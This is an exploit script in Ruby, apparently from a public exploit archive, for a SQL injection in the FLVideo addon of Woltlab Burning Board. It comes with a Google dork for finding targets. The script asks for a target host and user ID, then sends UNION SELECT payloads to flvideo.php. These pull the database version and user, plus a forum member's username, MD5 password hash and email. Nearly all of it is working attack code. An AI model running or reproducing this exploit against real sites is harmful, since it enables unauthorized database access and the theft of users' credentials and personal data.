# Exploit Title: Woltlab Burning Board FLVideo Addon SQL Injection flvideo.php Exploit
# Google Dork: inurl:flvideo.php wbb (and more)
# Date: 04.09.2013
# Exploit Author: Easy Laster
# Vendor Homepage: http://www.flvideo.de/
# Version: FLVideo Addon for WBB © 2007 by Danny König
# Tested on: Windows8/Backtrack
#!/usr/bin/ruby
#secunet.cc
#19.02.2013
#Discovered and Vulnerability by Easy Laster
#flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*
#*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(version()%20as%20char))
#null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/
#**/+userid=1--+
print "
################################################################
# secunet.cc #
################################################################
#PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT#
#Woltlab Burning Board FLVideo Addon SQL Injection flvideo.php #
# Exploit #
# Using Host+Path+id #
# www.demo.de + /wbb/ + or + / + 1 #
# Easy Laster #
#PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT#
################################################################
"
require 'net/http'
block = "################################################################"
print ""+ block +""
print "\nEnter Target Name (site.com)->"
host=gets.chomp
print ""+ block +""
print "\nEnter Script Path (/wbb/ or /)->"
path=gets.chomp
print ""+ block +""
print "\nEnter The ID From User (id)->"
userid=gets.chomp
print ""+ block +""
begin
dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+
"*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(version()%20as%20char))"+
"),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+
"null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+
"**/+userid="+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nVersion Database -> "+(/'~'(.+)'~'/).match(resp.body)[1]
dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+
"*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(user()%20as%20char))"+
"),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+
"null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+
"**/+userid="+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nDatabase User -> "+(/'~'(.+)'~'/).match(resp.body)[1]
dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+
"*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(userid%20as%20char))"+
"),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+
"null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+
"**/+userid="+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nID Account -> "+(/'~'(.+)'~'/).match(resp.body)[1]
dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+
"*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(username%20as%20char))"+
"),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+
"null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+
"**/+userid="+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nUsername Account -> "+(/'~'(.+)'~'/).match(resp.body)[1]
dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+
"*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(password%20as%20char))"+
"),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+
"null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+
"**/+userid="+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nPassword Account MD5 -> "+(/'~'(.+)'~'/).match(resp.body)[1]
dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+
"*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(email%20as%20char))"+
"),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+
"null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+
"**/+userid="+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nEmail Adresse Account -> "+(/'~'(.+)'~'/).match(resp.body)[1]
print "\n"
print ""+ block +""
print "\n"
print "
################################################################
# Greetings #
################################################################
#mAdDiN, c0Re, illuministrator, WD40, peak, IRET, GabbaGandalf #
#DR.zydz, HANN!BAL, 6rbk9 , Manifest, doc, cr4ck, Prof.Dr. Ogen#
#ezah, enco, 4c!d And SecuNet.cc, 4004, dc3 crew, hackbase.cc #
################################################################
"
rescue
print "\nExploit Failed"
end